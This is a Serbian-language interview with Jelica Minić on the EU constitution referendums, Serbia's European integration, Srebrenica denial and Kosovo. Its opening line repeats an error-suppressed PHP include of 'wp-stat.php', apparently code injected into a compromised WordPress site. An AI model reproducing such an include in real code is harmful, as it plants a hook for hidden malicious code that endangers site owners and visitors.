@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); JELICA MINIĆ, POTPREDSEDNICA EVROPSKOG POKRETA U SRBIJI I DONEDAVNO POMOĆNICA MINISTRA SPOLJNIH POSLOVA SCG: Veliki deo naše elite čine beznačajne provincijske figure – Nedim Sejdinović

JELICA MINIĆ, POTPREDSEDNICA EVROPSKOG POKRETA U SRBIJI I DONEDAVNO POMOĆNICA MINISTRA SPOLJNIH POSLOVA SCG: Veliki deo naše elite čine beznačajne provincijske figure

– Odbijanje francuskih građana da podrže evropski ustav je u velikoj meri protest protiv aktuelne francuske Vlade, ali i protiv posledica globalizacije, koja se doživljava kao izvor nezaposlenosti, nekontrolisanog odliva nacionalnog kapitala i sve žešće konkurencije stranih radnika i jeftine robe iz sveta. Drugim rečima, Francuzi se boje da su u Evropi ugrožene socijalne tekovine i da jačanje integracionih procesa, koji treba da doprinesu boljoj poziciji Evrope kao “globalnog igrača”, može pogoršati položaj najugroženijih grupa. Zato su radnici i seljaci u najvećem procentu glasali “protiv”. Ali, glasala je i ekstremna desnica sa parolama o nacionalnoj ugroženosti, o gubljenju identiteta, o strancima, sa porukama u kojima je izražena ksenofobija (67% Francuza smatra da ima isuviše stranaca u Francuskoj). Mnogi argumenti koji su se mogli čuti usmereni su protiv imigranata i stranih radnika, čemu je sigurno doprineo i poslednji talas proširenja sa centralnoevropskim zemljama. Slična stvar je i u Holandiji – komentariše dr Jelica Minić, potpredsednica Evropskog pokreta u Srbiji i donedavno pomoćnica ministra spoljnih poslova SCG (zadužena za ekonomske poslove i evropske inegracije), referendumsko “ne” francuskih i holandskih građana evropskom ustavu

Socijalni element je dakle odigrao najvažniju ulogu?

– Čuveni francuski politički veteran, Rajmon Bar, konstatovao je da je prevladala “nostalgija za intervencijom države” u trenutku kada se mora menjati francuski i evropski socijalni model. Francuzi su novi evropski ustav okarakterisali kao “liberalističku” tvorevinu. Ili su, u najmanju ruku, optužili svoju vladu da nije otvorila neophodni široki dijalog, uz učešće svih socijalnih partnera, kako bi objasnila zašto se predlaze ustav i šta bi trebalo da donese.

Da li francusko i holandsko “ne” ugrožava samu ideju Evropske unije?

– Ne. U sukobljavanju argumenata, najvažnije je da većina ne odbacuje Evropsku uniju, već dovodi u pitanje pravce, mehanizme, pa i brzinu njene dalje transformacije.

Kako će se najnoviji zaplet u Evropskoj uniji odraziti na uspešnost naših prvih koraka ka EU?

– Postoji mogućnost da se francusko i holandsko “ne” odrazi i na nas i zemlje koje se kreću ka EU, odnosno na proces proširenja EU, i to kako iz organizacionih tako i iz finansijskih razloga. Jer, sada se može očekivati restriktivniji budžet EU za period 2007-2013. godine. Poznato je da u Evropi postoje rezerve prema Turskoj kao budućem članu EU, pa se može reći da se ovo “ne” odnosi i na dalje proširenje. To se može odnositi i na zemlje zapadnog Balkana, mada do sada nije bilo onih koji su osporavali zapadni Balkan kao integralni deo EU u perspektivi. No, mislim da će sve i dalje zavisiti prevashodno od nas, od toga koliko budemo spretni u prilagođavanju novonastaloj situaciji.

NAŠA PRILAGODLJIVOST

Čini se međutim da naše prilagođavanje evropskim vrednostima i tokovima baš ne ide najbolje. I dalje se, recimo, ne želi pogledati u oči istini o ratovima koji su tokom devedesetih vođeni tu, oko nas. Spomenimo tribinu “Istina o Srebrenici”, koja je nedavno održana na beogradskom Pravnom fakultetu, a koja je imala za cilj da relativizuje nesporan zločin. Kako na to gledate?

– Događaj na Pravnom fakultetu u Beogradu je, neosporno, sraman. On pokazuje da politika Miloševićevog režima i dalje ima značajne sledbenike. Najgore je što je njihova koncentracija na Univerzitetu takva da su danas izrazito desničarske organizacije među studentima artikulisanije i prisutnije nego 90-ih godina, u jeku ratova. Očigledno da se sada plaća cena izuzetno spore reforme Beogradskog univerziteta i da, generalno, nema odgovarajuće politike prema mladima. Možda će ovaj događaj uspeti da pokrene ozbiljna preispitivanja. Međutim, simptomatično je da se ovakvi događaji uvek dešavaju uoči izručivanja važnijih optuženika za ratne zločine. Tako je i događaj na Pravnom fakultetu imao ime i prezime za one koji umeju da čitaju.

Relativizacija zločina i odbijanje «susreta sa prošlošću» ima zabrinjavajuće mnogobrojne pristalice među onima koji se nazivaju «srpska intelektualna elita». Uz takvu elitu, kako očekivati da se frustracija nedavnih ratova oslobode niži socijalni slojevi?

– Odgovor je sledeći: zemlja mora da se otvori. Mladi, ali i svi građani moraju da opet slobodno putuju, gledaju i slušaju i sami zaključuju. Dok god budemo živeli u svojevrsnom evropskom rezervatu, izolovani od drugih ljudi, ideja i uticaja, teško da se može očekivati da će građani moći sami da se distanciraju od nacionalističke, ksenofobične i autistične političke platforme brojnih predstavnika srpske intelektualne elite. Pored toga, u regionalnoj i međunarodnoj konkurenciji, brzo bi se pokazalo da su mnogi izvikani predstavnici “elite” samo beznačajne provincijske figure, koje nemaju šta da ponude ni sopstvenim građanima, a nekamoli drugima. Sem opasne i ratoborne nacionalističke retorike.

ANTIRATNA I GRAĐANSKA VERTIKALA

Da li je, po vašem mišljenju, slučajna konstanta u srpskoj javnosti da se uvek na meti kriminalizacije nalaze političari i drugi koji pripadaju tzv. građanskom, antiratnom bloku?

– Srbija je, srećom, imala i takve likove kao što su Svetozar Marković i Dimitrije Tucović. I one iz skorašnje prošlosti, kao što su Miladin Životić, Vladan Vasilijević, Kosta Obradović, Jelena Šantić i mnogi sjajni ljudi kojih više nema, a zahvaljujući kojima danas možemo da dograđujemo antiratnu i građansku vertikalu u Srbiji. Jelena je dobila svoj trg u Beogradu. Nikada i nigde nije bilo lako ići protiv struje. Važno je sačuvati samopoštovanje i svoje i svoga naroda. Vreme će svakoga staviti na svoje mesto. A ja verujem da su pred nama bolja vremena.

Postoji na našoj javnoj sceni, prilično zastupljena, teza da je put u Evropu moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih. Je li takav put odista moguć?

– Potrebno je i jedno i drugo. I to nisu procesi koji se odvijaju preko noći. Čak i kada su raskidi s prošlošću mnogo radikalniji nego što je to bilo u slučaju Srbije.

CENTRI MOĆI I LOKALNI BEGOVI

“Centri moći” – veoma je česta sintagma našeg političkog života. Koliko se stvarna politička moć u Srbiji danas nalazi u institucijama sistema, a koliko van njih. Šta to znači za evropske integracije i kako razvlastiti «centre moći»?

– Pre svega, izgradnjom i jačanjem institucija. Zato je toliko važan proces evropske integracije, jer je kolosek promena jasno definisan i vidi se – kraj puta. Neformalni centri moći, koji su kod nas još uvek izuzetno uticajni, razvlašćuju se i politički i ekonomski. Oni opstaju u neredu i bedi. Zato su i ekonomska i politička bitka podjednako važne u konstituisanju stabilnog, efikasnog i transparentnog sistema vlasti.

Vesti koji stižu i iz lokalnih sredina međutim nisu tako optimistične. “Imaoci kapitala”, stečenog uglavnom na sumnjiv način za vreme Miloševićevog režima sada su, čini se, “jači” nego ikada. “Zabetonirani” su lokalni “begovi”…

– Ukazala bih na one dobre primere. Inđija, Arilje, Novi Beograd i dr. Ako postoji mogućnost da se u nekim opštinama pokrene život i uspostavi red, što ne bi moglo i u drugim. Hajde da vidimo zašto negde uspeva, mada je okruženje svima zajedničko. Pokušajmo da od uspešnih priča stvaramo neku novu strukturu.

OSLOBAĐANJE TEŠKOG PRTLJAGA

U jednom tekstu ste utvrdili da Evropa ne odustaje od nas i da se «prilagodila da bi nas prilagodila». Da li je pozitivna ocena Studije o izvodljivosti rezultat prilagođavanja Evrope?

– Kod nas se, uprkos svemu, mnogo toga promenilo nabolje. I što je najvažnije, svakog dana se otvaraju neka nova vrata, neke nove mogućnosti. Pozitivna Studija o izvodljivosti je rezultat onoga što smo mi uradili i nije bilo mnogo ustupaka EU. Moramo početi sebe da hrabrimo da bi put ka EU prošli što kraće. Onda će biti lakše i da se priča o jednoj katastrofalnoj politici koja je razorila društvo i upropastila zemlju nazove pravim imenom i da se oštro saseku svi njeni recidivi. EU ima dovoljno svojih problema da bi primala u svoje članstvo nekoga ko donosi gomilu problema. Zato moramo da se oslobodimo svog teškog prtljaga i tu neće biti ustupaka.

Postoji li opasnost da pozitivna ocena ovde bude pogrešno shvaćena – u smislu, eto može se u Evropu i sa našim nacionalizmom, ksenofobijom i autizmom, može se u Evropu i sa otvorenim pretenzijama na teritorije drugih drzava… U nekim čak ekstremnim slučajevima, pozitivna studija se doživljava i kao potvrda ispravnosti srpske politike tokom devedesetih…

– Studija o izvodljivosti ni u kom slučaju nije podrška poraženoj politici. Kao što je poznato, ona je mogla biti dobijena i mnogo ranije, da je saradnja sa Haškim tribunalom bila zadovoljavajuća. Odnos uslova i ostvarenja je sve vreme bio jasan, pa tako treba čitati i ovaj uspeh.

A možemo li u EU sa ovakvom crkvom, sa ovakvom akademijom nauka, sa ovakvim medijima…?

– Ne. Ali niko nas ni neće primiti sutra. Imamo pred sobom dovoljno vremena za promenu. Mora se izvršiti i generacijska smena. A i institucije koje ste pomenuli podeljene su iznutra. Pomozimo svima koji vide nužnost promena, a naročito mladima koji će poneti najveći teret modernizacije Srbije. Kada se složimo oko misije put će biti mnogo lakši.

DIJALOG – JEDINI PUT

Kakva je uloga Kosova na našem putu ka Evropi? Rekli ste u jednom intervjuu da «protekorati» ne mogu da uđu u EU i da je pod hitno potrebno promeniti takvo stanje. Znači li to da je za evropsku budućnost Srbije važno hitno razrešiti konačni status Kosova, znači li to da Srbija mora hitno menjati politiku prema Kosovu?

– Ovih dana postaje vidljivo da se politika prema Kosovu menja i da naši političari shvataju da je jedini put dijalog. Bez rešavanja pitanja Kosova nema evropske budućnosti Srbije. Kada budemo shvatili da i na Kosovu žive građani, koji imaju neizmerne probleme koji su još mnogo veći od naših, shvatićemo da mnoge od tih problema koji su zajednički možemo brže rešavati ako se dogovorimo. Ljudi u našem regionu, obični ljudi, jako teško žive. Ljudi na Kosovu – najteže.

Kakav je model rešavanja pitanja Kosova po vama najrealniji u skoroj budućnosti?

– EU je očigledno prelomila da se mora preuzeti evropska odgovornost za ovaj evropski region. Ako se u tome odlučno istraje, onda je pravac jasan – evropska budućnost za sve. Kosovo i ako dobije nezavisnost, što je jedan od mogućih scenarija, to neće dobiti sve do dana ulaska u EU. A to može potrajati i 15 i 20 godina. Srbija mora dobiti predah i prostor da se razmahne. Ako 20 godina bude morala da preispituje sopstveni status i državni okvir, sva društvena energija će biti potrošena na pitanja koja ne unapređuju ni ekonomski, ni socijalni ni politički život u zemlji. Drugim rečima, ako se zakopamo u nerešive probleme, pretećiće nas i naši najsiromašniji susedi. Prosperitet Kosova je i naš interes. Zato treba staviti na sto sve, i najsitnije probleme u odnosima Beograda i Prištine i ispitati jedan po jedan. Neki se odmah mogu rešiti, neki srednjoročno, neki dugoročno, neki nikada. Svaki rešeni problem smanjuje značaj nerešenih.

POMOZIMO KOSOVU

Kao bivši saradnih ex ministra spoljnih poslova SCG Gorana Svilanovića, kako ste reagovali na njegov nedavno iznet stav prema budućnosti Kosova, a kako na svojevrsno linčovanje kojem je potom bio izložen u Srbiji od medija i od skoro svih vodećih političkih stranaka u zemlji?

– Veoma poštujem Gorana Svilanovića i cenim njegovu hrabrost, koju je više puta pokazao. Njegov stav o budućnosti Kosova je probio svojevrsnu brešu. Neko je morao da kaže da se u međunarodnim krugovima ozbiljno radi na nezavisnosti Kosova, da je to realna opcija i da se moramo pripremiti da je prihvatimo ili osporimo. Mislim da je on pomogao da se otvori suštinska debata o Kosovu, koja će sigurno pomoći da se dođe do pravih rešenja. Kako će izgledati konačno resenje, teško mi je da kažem. Ja samo želim da živimo u miru i saradnji sa Albancima i da i njima i nama bude što brže i što bolje. I da stranci što pre odu iz ovog regiona kao protektori, pomiritelji, namesnici, kontrolori. Da se region što pre osposobi da živi u miru i po svojoj meri.

Kosovski političari uslovljavaju pregovore sa Beogradom priznanjem Srbije da se na Kosovu dešavaju pozitivni procesi. Da li se po vašim saznanjima odista na Kosovu dešavaju pozitivni pomaci i zbog čega to Beograd, ako je tako, ne želi da prizna? Odnosno, da li Beogradu odgovara nestabilno Kosovo?

– Nestabilnost odgovara samo lovcima u mutnom. Mislim da je suštinski interes srpskih političara, a pre svega građana – stabilizacija Kosova. Verujem da će se ubrzo na tome zajednički raditi, jer nema drugog razumnog rešenja. A za one koji bi želeli novo nasilje i sukobe, mislim da se politički prostor ubrzano sužava. Možda bi se to moglo formulisati kao lep hrišćanski, ali i građanski princip – pomozimo Kosovu da bi pomogli sebi.

Za kraj pitanje – gde se u najvećoj meri nalazi evropski potencijal Srbije, u kojim generacijskim ili društvenim slojevima?

– Prema istraživanjima javnog mnjenja, evropski potencijal Srbije se najviše nalazi među mladima, ekspertima, poslovnim krugovima i delu političke elite. Ove četiri socijalne grupe ne mogu da napreduju bez otvaranja zemlje i njenog uključivanja u evropske tokove. A bez njihovog suštinskog angažovanja, teško je zamisliti evropsku budućnost Srbije.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.